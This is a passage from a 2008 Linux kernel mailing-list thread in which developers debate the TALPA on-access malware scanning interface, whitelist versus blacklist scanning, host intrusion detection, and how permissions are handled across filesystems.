fully setup is the restoring stage from backups. This is where you
all ready know what the virus is. So that the signatures have been
update for viruses created in the last hour really normally does not
matter for backups a week old.

It is critical for sorting out infected from non infected disks that
scanning for that is fool proof as possible. Worst nightmare is to
complete a reinstall after a really destructive virus only to have it
do its destruction again.

Logic that scanning will always be needed again due to signatures
needing updates every few hours is foolish. Please note signatures
updating massively only apply to black list scanning like
anti-viruses. If I am running white list scanning on those disks
redoing it is not that required unless disk has changed or defect
found in the white list scanning system. The cases that a white list
system needs updating is far more limited: New file formats, New
software, New approved parts or defect in scanner itself.
Virus/Malware writer creating a new bit of malware really does not
count if the malware fails the white list. Far less chasing. 100
percent coverage against unknown viruses is possible if you are
prepared to live with the limitations of white list. There are quite
a few places where the limitations of white list is not a major
problem.

So don't use the idea of the black list flaw against me. It does not
have to exist we should go after 100 percent scanning since we can go
after white list scanning that can provide 100 percent coverage with
its other issue of blocking some things it should not. Viruses and
Malware that users themselfs don't install or approve don't even get a
chance against white list scanning.

UAC for Linux are like the selinux systems. UAC fails against malware
too many windows users get use to clicking yes way too often. Defect
on the LSM side we must not copy.

Anti-Virus companies are going to have to lift there game stop just
chasing viruses because soon or latter the black list is going to get
that long that its going to be unable to be processed quickly.
Particularly with Linux's still running on 1.5 ghz or smaller
machines. Instead swap across to the shorter white list to process
and sort. Quarantining for black list scanning so performance of
machine is hit with the least ammount. Some areas like email, p2p
for people using formats that should not contain macros or executable
code white list scanning there is all that is needed before either
blocking or asking user if black list scanning should be preformed or
the file just deleted. Lets close the door's on these malware
writers without hurt end users any more than we have to. What is the
point of running a full black list across a file the user will delete
because it was not what they thought it was.

Peter Dolding

2008-08-17 08:59:21

by David Lang

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sun, 17 Aug 2008, Peter Dolding wrote:

> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <[email protected]> wrote:
>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>
> I am not saying in that it has to be displayed in the normal VFS. I
> am saying provide way to see everything the driver can to the
> scanner/HIDS. Desktop users could find it useful to see what the
> real permissions are on disk surface useful for when they are
> transferring disks between systems. HIDS will find it useful for Max
> confirm that nothing has been touched since last scan. White list
> scanning finds it useful because they can be sure nothing was missed.

unless you have a signed file of hashses of the filesystem, and you check
that all the hashes are the same, you have no way of knowing if the
filesystem was modified by any other system.

you may be able to detect if OS Y mounted and modified it via notmal
rules of that OS, but you have no way to know that someone didn't plug the
drive into an embeded system that spit raw writes out to the drive to just
modify a single block of data.

> You mentioned the other reason why you want to be under the vfs. As
> you just said every time you mount a file system you have to presume
> that its dirty. What about remount? Presume its all dirty just
> because user changed a option to the filesystem? Or do we locate
> ourself in a location that remount don't equal starting over from
> scratch. Location in the inodes wrong for max effectiveness. Even
> on snapshoting file systems when you change snapshot displayed not
> every file has changed.

this is a policy decision that different people will answer differently.
put the decision in userspace. if the user/tool thinks that these things
require a re-scan then they can change the generation number and
everything will get re-scanned. if not don't change it.

if you want to trust another system to do the scanning for you the
userspace code needs to work out a way to use the same generation number
of the different machines.

the underlying mechanism can work in all of these cases. which one you
choose to use is up to you, and it doesn't matter what you choose, the
mechanism allows other people to make different choices.

> Logic that scanning will always be needed again due to signatures
> needing updates every few hours is foolish. Please note signatures
> updating massively only apply to black list scanning like
> anti-viruses. If I am running white list scanning on those disks
> redoing it is not that required unless disk has changed or defect
> found in the white list scanning system. The cases that a white list
> system needs updating is far more limited: New file formats, New
> software, New approved parts or defect in scanner itself.
> Virus/Malware writer creating a new bit of malware really does not
> count if the malware fails the white list. Far less chasing. 100
> percent coverage against unknown viruses is possible if you are
> prepared to live with the limitations of white list. There are quite
> a few places where the limitations of white list is not a major
> problem.

the mechanism I outlined will work just fine for a whitelist scanner. the
user can configure it as the first scanner in the stack and to trust it's
approval completely, and due to the stackable design, you can have thigns
that fall through the whitelist examined by other software (or blocked, or
the scanning software can move/delete/change permissions/etc, whatever you
configure it to do)

> Anti-Virus companies are going to have to lift there game stop just
> chasing viruses because soon or latter the black list is going to get
> that long that its going to be unable to be processed quickly.
> Particularly with Linux's still running on 1.5 ghz or smaller
> machines.

forget the speed of the machines, if you have a tens of TB array can will
take several days to scan using the full IO bandwith of the system (so
even longer as a background task), you already can't afford to scan
everything every update on every system.

however, you may not need to. if a small enough set of files are accessed
(and you are willing to pay the penalty on the first access of each file)
you can configure your system to only do on-access scanning. or you can
choose to do your updates less frequently (which may be appropriate for
your environment)

> Instead swap across to the shorter white list to process and sort.
> Quarantining for black list scanning so performance of machine is hit
> with the least ammount. Some areas like email, p2p for people using
> formats that should not contain macros or executable code white list
> scanning there is all that is needed before either blocking or asking
> user if black list scanning should be preformed or the file just
> deleted. Lets close the door's on these malware writers without hurt
> end users any more than we have to. What is the point of running a full
> black list across a file the user will delete because it was not what
> they thought it was.

you are arguing with the wrong people here. we are not trying to define
the future of anti-virus technologies, we are trying to figure out how to
provide the hooks so that people and companies can go off and do the
research and experimentation and try different approaches.

the threat model we have been trying to deal with has not included trying
to scan a drive that will be accessed by another OS to make sure that the
other OS won't have any problem with it. I'm not sure thats even possible
(it's like network IDS where you can't just look at the packet fragments,
you need to duplicate the logic of the destination OS for how those
fragments are reassembled, when the source isn't available for the target,
this is reduced to 'best effort')

if you think we should be trying to deal with a different threat model,
say so and argue threat model vs threat model. you may be right that the
threat model isn't appropriate and needs to change, but arguing that the
proposed solutions don't satisfy your threat model without documenting
what that is doesn't get us anywhere.

David Lang

2008-08-18 00:11:36

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Sun, Aug 17, 2008 at 6:58 PM, <[email protected]> wrote:
> On Sun, 17 Aug 2008, Peter Dolding wrote:
>
>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <[email protected]> wrote:
>>>
>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>
>> I am not saying in that it has to be displayed in the normal VFS. I
>> am saying provide way to see everything the driver can to the
>> scanner/HIDS. Desktop users could find it useful to see what the
>> real permissions are on disk surface useful for when they are
>> transferring disks between systems. HIDS will find it useful for Max
>> confirm that nothing has been touched since last scan. White list
>> scanning finds it useful because they can be sure nothing was missed.
>
> unless you have a signed file of hashses of the filesystem, and you check
> that all the hashes are the same, you have no way of knowing if the
> filesystem was modified by any other system.

That is called a HIDS. Network form even has central databases of
hashes of applications that should be on the machine. Its tampering
detection.
>
> you may be able to detect if OS Y mounted and modified it via notmal rules
> of that OS, but you have no way to know that someone didn't plug the drive
> into an embeded system that spit raw writes out to the drive to just modify
> a single block of data.

Exactly why I am saying the lower level needs work. Everything the
file system driver can process needs to go to Hids for most effective
detection of tampering. Ok not 100 percent but the closest to 100
percent you can get. 2 causes of failure are hash collisions that
can happen either way and data hidden outside the drivers reach. All
execute data leading into the OS will be covered by a TPM chip in time
so that will only leave non accessible data not a threat to current
OS.
>
>> You mentioned the other reason why you want to be under the vfs. As
>> you just said every time you mount a file system you have to presume
>> that its dirty. What about remount? Presume its all dirty just
>> because user changed a option to the filesystem? Or do we locate
>> ourself in a location that remount don't equal starting over from
>> scratch. Location in the inodes wrong for max effectiveness. Even
>> on snapshoting file systems when you change snapshot displayed not
>> every file has changed.
>
> this is a policy decision that different people will answer differently. put
> the decision in userspace. if the user/tool thinks that these things require
> a re-scan then they can change the generation number and everything will get
> re-scanned. if not don't change it.
>
With out a clear path were user space tools can tell that its the same
files they have no option bar to mark the complete lot dirty.

Hands are tied that is the issue while only in the inode and vfs
system. To untie hands and allow most effective scanning the black
box of the file system driver has to be opened.

>
>> Logic that scanning will always be needed again due to signatures
>> needing updates every few hours is foolish. Please note signatures
>> updating massively only apply to black list scanning like
>> anti-viruses. If I am running white list scanning on those disks
>> redoing it is not that required unless disk has changed or defect
>> found in the white list scanning system. The cases that a white list
>> system needs updating is far more limited: New file formats, New
>> software, New approved parts or defect in scanner itself.
>> Virus/Malware writer creating a new bit of malware really does not
>> count if the malware fails the white list. Far less chasing. 100
>> percent coverage against unknown viruses is possible if you are
>> prepared to live with the limitations of white list. There are quite
>> a few places where the limitations of white list is not a major
>> problem.
>
> the mechanism I outlined will work just fine for a whitelist scanner. the
> user can configure it as the first scanner in the stack and to trust it's
> approval completely, and due to the stackable design, you can have thigns
> that fall through the whitelist examined by other software (or blocked, or
> the scanning software can move/delete/change permissions/etc, whatever you
> configure it to do)
>
>> Anti-Virus companies are going to have to lift there game stop just
>> chasing viruses because soon or latter the black list is going to get
>> that long that its going to be unable to be processed quickly.
>> Particularly with Linux's still running on 1.5 ghz or smaller
>> machines.
>
> forget the speed of the machines, if you have a tens of TB array can will
> take several days to scan using the full IO bandwith of the system (so even
> longer as a background task), you already can't afford to scan everything
> every update on every system.
>
> however, you may not need to. if a small enough set of files are accessed
> (and you are willing to pay the penalty on the first access of each file)
> you can configure your system to only do on-access scanning. or you can
> choose to do your updates less frequently (which may be appropriate for your
> environment)
>

You missed it part of that was a answer to Ted saying that we should
give up on a perfect system due to the fact current AV tech fails
there is other tech out there that works.

In answer to the small enough set of files idea. The simple issue is
that one time cost of black list scanning gets longer and longer and
longer as the black list gets longer and longer and longer. Sooner
or latter its going to be longer than the amount of time people are
prepared to wait for a file to be approved and longer than the time
taken to white list scan the file by a large margin. It is already
longer by a large margin to white list scanning. CPU sizes not
expanding as fast on Linux kind brings the black list o heck problem
sooner. Lot of anti-virus black lists are embeding white lists
methods so they can operate now inside the time window. The wall is
coming and its simply not avoidable all they are currently doing is
just stopping themselves from going splat into it. White list methods
will have to become more dominate one day there is no other path
forward for scanning content.

Most common reason to need to be sure disks are clean on a different
machine is after a mess. Anti-Virus and protection tech has let you
down. Backups could be infected before restoring scanning those
backups to sort out what files you can salvage and what backups
predate the infection or breach. These backups of course are
normally not scanned on the destination machine. Missing anything
scanning those backups in not acceptable ever.

By the way for people who don't know the differences. TPM is a HIDS
hardware support it must know the files its protecting exactly.
White list scanning covers a lot more than just HIDS. White List
scanners that knows file formats themselves sorts the files by unknown
format, damaged ie not to format like containing buffer oversize and
the like, Containing executable parts unknown, Containing only
executable parts known safe and 100 percent safe. First 3 are blocked
by while list scanners last 2 are approved. Getting past a white
list scanner is hard. White list scanning is the major reason we
need all formats to documents used in business so they can be scanned
white list style. White List format style does not fall pray to
checksum collisions. Also when you have TB's and PB of data you don't
want to be storing damaged files or viruses. Most black list
scanners only point out viruses some viruses so are poor compared to
what some forms of white list scanning offer of trust able clean and
undamaged.

Peter Dolding

2008-08-18 00:32:46

by David Lang

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Sun, Aug 17, 2008 at 6:58 PM, <[email protected]> wrote:
>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>
>>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <[email protected]> wrote:
>>>>
>>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>>
>>> I am not saying in that it has to be displayed in the normal VFS. I
>>> am saying provide way to see everything the driver can to the
>>> scanner/HIDS. Desktop users could find it useful to see what the
>>> real permissions are on disk surface useful for when they are
>>> transferring disks between systems. HIDS will find it useful for Max
>>> confirm that nothing has been touched since last scan. White list
>>> scanning finds it useful because they can be sure nothing was missed.
>>
>> unless you have a signed file of hashses of the filesystem, and you check
>> that all the hashes are the same, you have no way of knowing if the
>> filesystem was modified by any other system.
>
> That is called a HIDS. Network form even has central databases of
> hashes of applications that should be on the machine. Its tampering
> detection.

is this what you are asking for or not?

>> you may be able to detect if OS Y mounted and modified it via notmal rules
>> of that OS, but you have no way to know that someone didn't plug the drive
>> into an embeded system that spit raw writes out to the drive to just modify
>> a single block of data.
>
> Exactly why I am saying the lower level needs work. Everything the
> file system driver can process needs to go to Hids for most effective
> detection of tampering. Ok not 100 percent but the closest to 100
> percent you can get. 2 causes of failure are hash collisions that
> can happen either way and data hidden outside the drivers reach. All
> execute data leading into the OS will be covered by a TPM chip in time
> so that will only leave non accessible data not a threat to current
> OS.

so are you advocating that every attempt to access the file should
calculate the checksum of the file and compare it against a (possibly
network hosted) list?

>>> You mentioned the other reason why you want to be under the vfs. As
>>> you just said every time you mount a file system you have to presume
>>> that its dirty. What about remount? Presume its all dirty just
>>> because user changed a option to the filesystem? Or do we locate
>>> ourself in a location that remount don't equal starting over from
>>> scratch. Location in the inodes wrong for max effectiveness. Even
>>> on snapshoting file systems when you change snapshot displayed not
>>> every file has changed.
>>
>> this is a policy decision that different people will answer differently. put
>> the decision in userspace. if the user/tool thinks that these things require
>> a re-scan then they can change the generation number and everything will get
>> re-scanned. if not don't change it.
>>
> With out a clear path were user space tools can tell that its the same
> files they have no option bar to mark the complete lot dirty.
>
> Hands are tied that is the issue while only in the inode and vfs
> system. To untie hands and allow most effective scanning the black
> box of the file system driver has to be opened.

you are mixing solutions and problems. I think my proposal can be used to
address your problem, even if the implementation is different.

>>> Logic that scanning will always be needed again due to signatures
>>> needing updates every few hours is foolish. Please note signatures
>>> updating massively only apply to black list scanning like
>>> anti-viruses. If I am running white list scanning on those disks
>>> redoing it is not that required unless disk has changed or defect
>>> found in the white list scanning system. The cases that a white list
>>> system needs updating is far more limited: New file formats, New
>>> software, New approved parts or defect in scanner itself.
>>> Virus/Malware writer creating a new bit of malware really does not
>>> count if the malware fails the white list. Far less chasing. 100
>>> percent coverage against unknown viruses is possible if you are
>>> prepared to live with the limitations of white list. There are quite
>>> a few places where the limitations of white list is not a major
>>> problem.
>>
>> the mechanism I outlined will work just fine for a whitelist scanner. the
>> user can configure it as the first scanner in the stack and to trust it's
>> approval completely, and due to the stackable design, you can have thigns
>> that fall through the whitelist examined by other software (or blocked, or
>> the scanning software can move/delete/change permissions/etc, whatever you
>> configure it to do)
>>
>>> Anti-Virus companies are going to have to lift there game stop just
>>> chasing viruses because soon or latter the black list is going to get
>>> that long that its going to be unable to be processed quickly.
>>> Particularly with Linux's still running on 1.5 ghz or smaller
>>> machines.
>>
>> forget the speed of the machines, if you have a tens of TB array can will
>> take several days to scan using the full IO bandwith of the system (so even
>> longer as a background task), you already can't afford to scan everything
>> every update on every system.
>>
>> however, you may not need to. if a small enough set of files are accessed
>> (and you are willing to pay the penalty on the first access of each file)
>> you can configure your system to only do on-access scanning. or you can
>> choose to do your updates less frequently (which may be appropriate for your
>> environment)
>>
>
> You missed it part of that was a answer to Ted saying that we should
> give up on a perfect system due to the fact current AV tech fails
> there is other tech out there that works.
>
> In answer to the small enough set of files idea. The simple issue is
> that one time cost of black list scanning gets longer and longer and
> longer as the black list gets longer and longer and longer. Sooner
> or latter its going to be longer than the amount of time people are
> prepared to wait for a file to be approved and longer than the time
> taken to white list scan the file by a large margin. It is already
> longer by a large margin to white list scanning. CPU sizes not
> expanding as fast on Linux kind brings the black list o heck problem
> sooner. Lot of anti-virus black lists are embeding white lists
> methods so they can operate now inside the time window. The wall is
> coming and its simply not avoidable all they are currently doing is
> just stopping themselves from going splat into it. White list methods
> will have to become more dominate one day there is no other path
> forward for scanning content.
>
> Most common reason to need to be sure disks are clean on a different
> machine is after a mess. Anti-Virus and protection tech has let you
> down. Backups could be infected before restoring scanning those
> backups to sort out what files you can salvage and what backups
> predate the infection or breach. These backups of course are
> normally not scanned on the destination machine. Missing anything
> scanning those backups in not acceptable ever.
>
> By the way for people who don't know the differences. TPM is a HIDS
> hardware support it must know the files its protecting exactly.
> White list scanning covers a lot more than just HIDS. White List
> scanners that knows file formats themselves sorts the files by unknown
> format, damaged ie not to format like containing buffer oversize and
> the like, Containing executable parts unknown, Containing only
> executable parts known safe and 100 percent safe. First 3 are blocked
> by while list scanners last 2 are approved. Getting past a white
> list scanner is hard. White list scanning is the major reason we
> need all formats to documents used in business so they can be scanned
> white list style. White List format style does not fall pray to
> checksum collisions. Also when you have TB's and PB of data you don't
> want to be storing damaged files or viruses. Most black list
> scanners only point out viruses some viruses so are poor compared to
> what some forms of white list scanning offer of trust able clean and
> undamaged.

the scanning support mechanism would support a whitelist policy, it will
also support a blacklist policy.

I will dispute your claim that a strict whitelist policy is even possible
on a general machine. how can you know if a binary that was compiled is
safe or not? how can you tell if a program downloaded from who knows where
is safe or not? the answer is that you can't. you can know that the
program isn't from a trusted source and take actions to limit what it can
do (SELinux style), or you can block the access entirely (which will just
cause people to disable your whitelist when it gets in their way)

there are times when a whitelist is reasonable, there are times when it
isn't. you can't whitelist the contents of /var/log/apache/access.log, but
that file needs to be scanned as it is currently being used as an attack
vector.

the approach I documented (note: I didn't create it, I assembled it from
pieces of different proposals on the list) uses kernel support to cache
the results of the scan so that people _don't_ have to wait for all the
scans to take place when they open a file each time. they don't even need
to wait for a checksum pass to see if the file was modified or not.

I fail to see why it couldn't be used for your whitelist approach.

David Lang

2008-08-18 01:17:32

by David Collier-Brown

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

Peter Dolding wrote:
> Currently if we have a unknown infection on a windows partition that
> is been shared by linux the scanner on Linux cannot see that the
> windows permissions has been screwed with. OS with badly damaged
> permissions is a sign of 1 of three things. ...

It's more likely that the files will reside on Linux/Unix under
Samba, and so the permissions that Samba implements will be the ones
that the virus is trying to mess up. These are implemented in
terms of the usual permission bits, plus extended attributes/ACLs.
Linux systems mounting Windows filesystems are somewhat unusual (;-))

--dave
--
David Collier-Brown | Always do right. This will gratify
Sun Microsystems, Toronto | some people and astonish the rest
[email protected] | -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#

2008-08-18 01:20:31

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Mon, Aug 18, 2008 at 10:32 AM, <[email protected]> wrote:
> On Mon, 18 Aug 2008, Peter Dolding wrote:
>
>> On Sun, Aug 17, 2008 at 6:58 PM, <[email protected]> wrote:
>>>
>>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>>
>>>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <[email protected]> wrote:
>>>>>
>>>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>>>
>>>> I am not saying in that it has to be displayed in the normal VFS. I
>>>> am saying provide way to see everything the driver can to the
>>>> scanner/HIDS. Desktop users could find it useful to see what the
>>>> real permissions are on disk surface useful for when they are
>>>> transferring disks between systems. HIDS will find it useful for Max
>>>> confirm that nothing has been touched since last scan. White list
>>>> scanning finds it useful because they can be sure nothing was missed.
>>>
>>> unless you have a signed file of hashses of the filesystem, and you check
>>> that all the hashes are the same, you have no way of knowing if the
>>> filesystem was modified by any other system.
>>
>> That is called a HIDS. Network form even has central databases of
>> hashes of applications that should be on the machine. Its tampering
>> detection.
>
> is this what you are asking for or not?
>
>>> you may be able to detect if OS Y mounted and modified it via notmal
>>> rules
>>> of that OS, but you have no way to know that someone didn't plug the
>>> drive
>>> into an embeded system that spit raw writes out to the drive to just
>>> modify
>>> a single block of data.
>>
>> Exactly why I am saying the lower level needs work. Everything the
>> file system driver can process needs to go to Hids for most effective
>> detection of tampering. Ok not 100 percent but the closest to 100
>> percent you can get. 2 causes of failure are hash collisions that
>> can happen either way and data hidden outside the drivers reach. All
>> execute data leading into the OS will be covered by a TPM chip in time
>> so that will only leave non accessible data not a threat to current
>> OS.
>
> so are you advocating that every attempt to access the file should calculate
> the checksum of the file and compare it against a (possibly network hosted)
> list?
>
Mixed solution. HIDS gets you so far. White List format scanning
gets you more.

Best of all techs.
>>>> You mentioned the other reason why you want to be under the vfs. As
>>>> you just said every time you mount a file system you have to presume
>>>> that its dirty. What about remount? Presume its all dirty just
>>>> because user changed a option to the filesystem? Or do we locate
>>>> ourself in a location that remount don't equal starting over from
>>>> scratch. Location in the inodes wrong for max effectiveness. Even
>>>> on snapshoting file systems when you change snapshot displayed not
>>>> every file has changed.
>>>
>>> this is a policy decision that different people will answer differently.
>>> put
>>> the decision in userspace. if the user/tool thinks that these things
>>> require
>>> a re-scan then they can change the generation number and everything will
>>> get
>>> re-scanned. if not don't change it.
>>>
>> With out a clear path were user space tools can tell that its the same
>> files they have no option bar to mark the complete lot dirty.
>>
>> Hands are tied that is the issue while only in the inode and vfs
>> system. To untie hands and allow most effective scanning the black
>> box of the file system driver has to be opened.
>
> you are mixing solutions and problems. I think my proposal can be used to
> address your problem, even if the implementation is different.
>
You proposal idea is right. Implementation location is pain to get
right so everything works.

Issue is some of the changes that need doing may take years to get
sorted out. So we kinda need to start now working our ways to having
them by the time these other things become main line in kernel causing
us head aches.

Lets try to avoid having to do last min fixs up. We know the tech
that is coming lets be ready for it.

>>>> Logic that scanning will always be needed again due to signatures
>>>> needing updates every few hours is foolish. Please note signatures
>>>> updating massively only apply to black list scanning like
>>>> anti-viruses. If I am running white list scanning on those disks
>>>> redoing it is not that required unless disk has changed or defect
>>>> found in the white list scanning system. The cases that a white list
>>>> system needs updating is far more limited: New file formats, New
>>>> software, New approved parts or defect in scanner itself.
>>>> Virus/Malware writer creating a new bit of malware really does not
>>>> count if the malware fails the white list. Far less chasing. 100
>>>> percent coverage against unknown viruses is possible if you are
>>>> prepared to live with the limitations of white list. There are quite
>>>> a few places where the limitations of white list is not a major
>>>> problem.
>>>
>>> the mechanism I outlined will work just fine for a whitelist scanner. the
>>> user can configure it as the first scanner in the stack and to trust it's
>>> approval completely, and due to the stackable design, you can have thigns
>>> that fall through the whitelist examined by other software (or blocked,
>>> or
>>> the scanning software can move/delete/change permissions/etc, whatever
>>> you
>>> configure it to do)
>>>
>>>> Anti-Virus companies are going to have to lift there game stop just
>>>> chasing viruses because soon or latter the black list is going to get
>>>> that long that its going to be unable to be processed quickly.
>>>> Particularly with Linux's still running on 1.5 ghz or smaller
>>>> machines.
>>>
>>> forget the speed of the machines, if you have a tens of TB array can will
>>> take several days to scan using the full IO bandwith of the system (so
>>> even
>>> longer as a background task), you already can't afford to scan everything
>>> every update on every system.
>>>
>>> however, you may not need to. if a small enough set of files are accessed
>>> (and you are willing to pay the penalty on the first access of each file)
>>> you can configure your system to only do on-access scanning. or you can
>>> choose to do your updates less frequently (which may be appropriate for
>>> your
>>> environment)
>>>
>>
>> You missed it part of that was a answer to Ted saying that we should
>> give up on a perfect system due to the fact current AV tech fails
>> there is other tech out there that works.
>>
>> In answer to the small enough set of files idea. The simple issue is
>> that one time cost of black list scanning gets longer and longer and
>> longer as the black list gets longer and longer and longer. Sooner
>> or latter its going to be longer than the amount of time people are
>> prepared to wait for a file to be approved and longer than the time
>> taken to white list scan the file by a large margin. It is already
>> longer by a large margin to white list scanning. CPU sizes not
>> expanding as fast on Linux kind brings the black list o heck problem
>> sooner. Lot of anti-virus black lists are embeding white lists
>> methods so they can operate now inside the time window. The wall is
>> coming and its simply not avoidable all they are currently doing is
>> just stopping themselves from going splat into it. White list methods
>> will have to become more dominate one day there is no other path
>> forward for scanning content.
>>
>> Most common reason to need to be sure disks are clean on a different
>> machine is after a mess. Anti-Virus and protection tech has let you
>> down. Backups could be infected before restoring scanning those
>> backups to sort out what files you can salvage and what backups
>> predate the infection or breach. These backups of course are
>> normally not scanned on the destination machine. Missing anything
>> scanning those backups in not acceptable ever.
>>
>> By the way for people who don't know the differences. TPM is a HIDS
>> hardware support it must know the files its protecting exactly.
>> White list scanning covers a lot more than just HIDS. White List
>> scanners that knows file formats themselves sorts the files by unknown
>> format, damaged ie not to format like containing buffer oversize and
>> the like, Containing executable parts unknown, Containing only
>> executable parts known safe and 100 percent safe. First 3 are blocked
>> by while list scanners last 2 are approved. Getting past a white
>> list scanner is hard. White list scanning is the major reason we
>> need all formats to documents used in business so they can be scanned
>> white list style. White List format style does not fall pray to
>> checksum collisions. Also when you have TB's and PB of data you don't
>> want to be storing damaged files or viruses. Most black list
>> scanners only point out viruses some viruses so are poor compared to
>> what some forms of white list scanning offer of trust able clean and
>> undamaged.
>
> the scanning support mechanism would support a whitelist policy, it will
> also support a blacklist policy.
>
> I will dispute your claim that a strict whitelist policy is even possible on
> a general machine. how can you know if a binary that was compiled is safe or
> not? how can you tell if a program downloaded from who knows where is safe
> or not? the answer is that you can't. you can know that the program isn't
> from a trusted source and take actions to limit what it can do (SELinux
> style), or you can block the access entirely (which will just cause people
> to disable your whitelist when it gets in their way)

Sorry to say whitelists of safe exe's exist today.
http://www.softpedia.com/ for one they keep a list of virus and
malware free programs.

The who knows where is the issue. Whitelist system don't tollerate
that. That is part user getting use to that fact. selinux is still
needed around applications even on a white list system. Even the most
virus and malware free applications can have flaws. White list system
are really hard to break.

People disable black list scanners because they are slowing down there
gaming too much. In the case of /var/log/apache/access.log and other
access logs. Guess what they can be format white listed. They are
a know format that they should be written in what permissions they
should have. I have not found a attack using access.log yet that has
passed a format check. There is really not much a format based white
list scanner misses. Selinux is also needed to prevent applications
from altering logs in ways they should not. Even better .log files
may only exist threw the syslog interface that allows entries to be
added only to spec and not edited back in time.

Lot of vectors simply don't exist in a truly secure White list system.

You can operate a pure white list based systems today. Just as
functional as there non white list relations. I have run networks
white list based. Windows registry is the worse nightmare to build a
white list system for. Linux and Mac systems are simpler to run
white list based.

Remember White List blocking something is not the last roll of the
dice. User is informed at this point and gets to make a judgement
call. Is this something worth running a black list scan over or do I
just get rid of it. Its called having user involved in there own
secuirty. Users kinda going to go hang on I though that was a mp3 now
you are telling me its a program or damaged delete end of story.
Virus does not even get a chance to trick the black list. Black List
first line is flawed. General all comes system HIDS first of some
form system is not damage ie scanning system checked that its not
crippled or tampered with then White list format based then Black
List then LSM around program if it gets it that far. Objective
virus/malware has to get past as many walls as possible and to get
true feed back from users. Avoiding bugging users any more than you
have to threw that system will take careful design.

All 4 lines of defence are needed HIDS, White List, Black List and
LSM's. Miss HIDS, White List or LSM have weaker defence. Miss
black list have less open selection of applications. Black List
missing can be worked around. 3 are 100 percent critical. Black
Lists is about 50/50 some users need it some don't.

Peter Dolding

2008-08-18 01:34:13

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <[email protected]> wrote:
> Peter Dolding wrote:
>>
>> Currently if we have a unknown infection on a windows partition that
>> is been shared by linux the scanner on Linux cannot see that the
>> windows permissions has been screwed with. OS with badly damaged
>> permissions is a sign of 1 of three things. ...
>
> It's more likely that the files will reside on Linux/Unix under
> Samba, and so the permissions that Samba implements will be the ones
> that the virus is trying to mess up. These are implemented in
> terms of the usual permission bits, plus extended attributes/ACLs.
> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>
More desktop use of Linux more cases of ntfs and fat mounted under
Linux. Funny enough linux mounting windows file systems is 100
percent normal for most Ubuntu users so there are a lot of them out
there doing it. I am future looking there are other filesystems
coming with there own issues as well.

Same issue with samba no common store for extra permissions exist so
on file systems that don't support there permissions storage it goes
back into there tdb storage.

Basically scanning everything to detect issues currently nicely
complex. We have a huge permissions mess. Some permissions are
processed by the file system drivers. Some are processed by vfs then
others processed and stored by individual applications. So no where
in Linux can you see all the permissions being applied to a single
file to be sure there is not a secuirty risk somewhere. Samba or
equal allowing access to remove a virus signature from the black list
or added something that should not be allowed to the white list would
be major problems.

Posix has not helped US here at all. No where in posix does it
provide anything to clean up this mess. Does solarias have a solution
I know BSD and Linux does not. I think all posix OS's have a mess in
this section.

Peter Dolding

2008-08-18 01:45:28

by David Lang

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <[email protected]> wrote:
>> Peter Dolding wrote:
>>>
>>> Currently if we have a unknown infection on a windows partition that
>>> is been shared by linux the scanner on Linux cannot see that the
>>> windows permissions has been screwed with. OS with badly damaged
>>> permissions is a sign of 1 of three things. ...
>>
>> It's more likely that the files will reside on Linux/Unix under
>> Samba, and so the permissions that Samba implements will be the ones
>> that the virus is trying to mess up. These are implemented in
>> terms of the usual permission bits, plus extended attributes/ACLs.
>> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>>
> More desktop use of Linux more cases of ntfs and fat mounted under
> Linux. Funny enough linux mounting windows file systems is 100
> percent normal for most Ubuntu users so there are a lot of them out
> there doing it. I am future looking there are other filesystems
> coming with there own issues as well.

but what you are missing is that when they are mounted under linux it
doesn't matter what hidden things the other OS may access, all that
matters is what Linux sees. If Linux doesn't see something it can't serve
it out to those other OSs.

those 'hidden things' would only matter if you were trying to use linux
to scan a drive and bless it for another system to then mount locally. If
we aren't trying to defend against that (and I don't hear anyone other
then you saying we should) then we don't need to worry about such things.

If we were trying to make the drive safe for all other OSs to mount
directly, then mearly seeing everything isn't enough, you would have to be
able to fully duplicate how the other OS interprets the things you are
seeing, and know all vunerabilities that arise from all possible
interpretations. I don't think that's possible (and I don't think it would
be possible even if the source for all those other OSs were available)

David Lang

2008-08-18 02:33:40

by Peter Dolding

[permalink] [raw]
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

On Mon, Aug 18, 2008 at 11:44 AM, <[email protected]> wrote:
> On Mon, 18 Aug 2008, Peter Dolding wrote:
>
>> On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <[email protected]>
>> wrote:
>>>
>>> Peter Dolding wrote:
>>>>
>>>> Currently if we have a unknown infection on a windows partition that
>>>> is been shared by linux the scanner on Linux cannot see that the
>>>> windows permissions has been screwed with. OS with badly damaged
